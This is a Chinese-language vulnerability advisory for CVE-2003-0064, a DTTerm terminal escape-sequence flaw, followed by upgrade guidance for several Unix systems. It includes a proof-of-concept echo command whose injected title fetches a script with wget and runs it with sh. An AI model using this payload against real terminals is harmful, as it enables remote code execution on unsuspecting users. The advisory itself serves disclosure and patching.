CVE:CVE-2003-0064
CNNVD:CNNVD-200303-003
转义序列(escape sequence)是一系列由ASCII转义字符(0x1B)开始的字符序列，并附带特殊的参数构成，转义序列一般原用于控制显示设备如终端，现在扩展在大多数操作系统中允许多种形式的交互。转义序列可以用于更改文本属性(颜色，宽度)，移动鼠标位置，重配置键盘，更新窗口标题，或者操作打印机等。
DTTerm终端模拟器的窗口标题报告功能由于没有检查用户插入的转义字符，远程攻击者可以利用这个漏洞在终端窗口标题中插入任意转义序列字符而以执行用户权限执行任意命令。
多数终端模拟器支持使用转义序列通过SHELL来设置窗口标题，这个功能由DEC的DECterm中实现，已经移植在多数模拟器中，使用echo命令可以设置终端的窗口标题：
$ echo -e "\e]2;This is the new window title\a"
当上面的命令显示在终端上的时候，它会设置窗口标题为上面的字符串，设置窗口标题本身没有安全问题，但是DTTerm提供转义序列来报告当前窗口标题，获得标题后直接放到命令行中执行。由于多数模拟器处理转义序列不能在窗口标题中嵌入回车符，因此要执行标题作为命令处理，需要用户交互按回车键，如下面的报告窗口标题的转义序列：
$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
当然这些标题没有人会去执行，但是通过设置标题为不可见字符，如前景后景全为一个颜色，在诱使用户处理窗口后，用户在不能看到标题的情况下而执行了恶意命令，有可能导致各种攻击，如开端口，发送敏感文件等操作。
solution:Upgrade sgi irix to a higher version than 5.0,5.0.1,5.1,5.1.1,5.2,5.3,6.0,6.0.1,6.1,6.2,6.3,6.4,6.5,6.5.1,6.5.2,6.5.2f,6.5.2m,6.5.3,6.5.3f,6.5.3m,6.5.4,6.5.4f,6.5.4m,6.5.5,6.5.5f,6.5.5m,6.5.6,6.5.6f,6.5.6m,6.5.7,6.5.7f,6.5.7m,6.5.8,6.5.8f,6.5.8m,6.5.9,6.5.9f,6.5.9m,6.5.10,6.5.10f,6.5.10m,6.5.11,6.5.11f,6.5.11m,6.5.12,6.5.12f,6.5.12m,6.5.13,6.5.13f,6.5.13m,6.5.14,6.5.14f,6.5.14m,6.5.15,6.5.15f,6.5.15m,6.5.16,6.5.16f,6.5.16m,6.5.17,6.5.17f,6.5.17m,6.5.18,6.5.18f,6.5.18m,and avoid the version 5.0,5.0.1,5.1,5.1.1,5.2,5.3,6.0,6.0.1,6.1,6.2,6.3,6.4,6.5,6.5.1,6.5.2,6.5.2f,6.5.2m,6.5.3,6.5.3f,6.5.3m,6.5.4,6.5.4f,6.5.4m,6.5.5,6.5.5f,6.5.5m,6.5.6,6.5.6f,6.5.6m,6.5.7,6.5.7f,6.5.7m,6.5.8,6.5.8f,6.5.8m,6.5.9,6.5.9f,6.5.9m,6.5.10,6.5.10f,6.5.10m,6.5.11,6.5.11f,6.5.11m,6.5.12,6.5.12f,6.5.12m,6.5.13,6.5.13f,6.5.13m,6.5.14,6.5.14f,6.5.14m,6.5.15,6.5.15f,6.5.15m,6.5.16,6.5.16f,6.5.16m,6.5.17,6.5.17f,6.5.17m,6.5.18,6.5.18f,6.5.18m; Upgrade hp hp-ux to a higher version than 10.20,10.24,10.26,10.30,10.34,11.00,11.04,11.11,11.20,11.22,and avoid the version 10.20,10.24,10.26,10.30,10.34,11.00,11.04,11.11,11.20,11.22; Upgrade ibm aix to a higher version than 4.3,4.3.1,4.3.2,4.3.3,5.1,5.2,and avoid the version 4.3,4.3.1,4.3.2,4.3.3,5.1,5.2; Upgrade sun solaris to a higher version than 2.5.1,2.6,7.0,8.0,9.0,and avoid the version 2.5.1,2.6,7.0,8.0,9.0; Upgrade sun sunos to a higher version than -,5.5.1,5.7,5.8,and avoid the version 5.5.1,5.7,5.8